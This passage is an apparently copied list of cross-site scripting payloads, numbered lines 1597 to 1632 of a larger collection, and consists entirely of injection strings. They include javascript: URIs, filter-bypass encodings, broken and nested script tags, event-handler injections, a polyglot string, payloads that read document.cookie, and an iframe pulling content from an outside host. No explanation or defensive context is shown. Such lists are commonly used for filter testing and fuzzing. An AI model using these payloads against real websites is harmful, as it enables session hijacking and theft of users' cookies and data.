1597. <IMG SRC="jav        ascript:alert('XSS');">
      
1598. <IMG SRC=javascript:alert('XSS')>
      
1599. <IMG SRC=javascript:alert('XSS')>
      
1600. <IMG SRC=javascript:alert('XSS')>
      
1601. <BODY BACKGROUND="javascript:alert('XSS')">
      
1602. <BODY ONLOAD=alert('XSS')>
      
1603. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
      
1604. <IMG SRC="javascript:alert('XSS')"
      
1605. <iframe src=http://ha.ckers.org/scriptlet.html <
      
1606. 
      
1607. 
      
1608. <<SCRIPT>alert("XSS");//<</SCRIPT>
      
1609. %253cscript%253ealert(1)%253c/script%253e
      
1610. "><s"%2b"cript>alert(document.cookie)</script>
      
1611. foo<script>alert(1)</script>
      
1612. <scr<script>ipt>alert(1)</scr</script>ipt>
      
1613. 
      
1614. 
      
1615. 
      
1616. <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
      
1617. 
      
1618. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
      
1619. 
      
1620. <marquee onstart='javascript:alert('1');'>=(&#9685;_&#9685;)=
      
1621. 
      
1622. 
      
1623. 
      
1624. "><img src=x onerror=prompt(0)>
      
1625. 
      
1626. <iframe src="x-javascript:alert(document.domain);"></iframe>
      
1627. 
      
1628. <marquee><h1>XSS by xss</h1></marquee>
      
1629. 
      
1630. <script>-=alert;-(1)</script> "onmouseover="confirm(document.domain);"" </script>
      
1631. 
      
1632. <script>alert(2)</script> "><img src=x onerror=prompt(document.domain)>

复制代码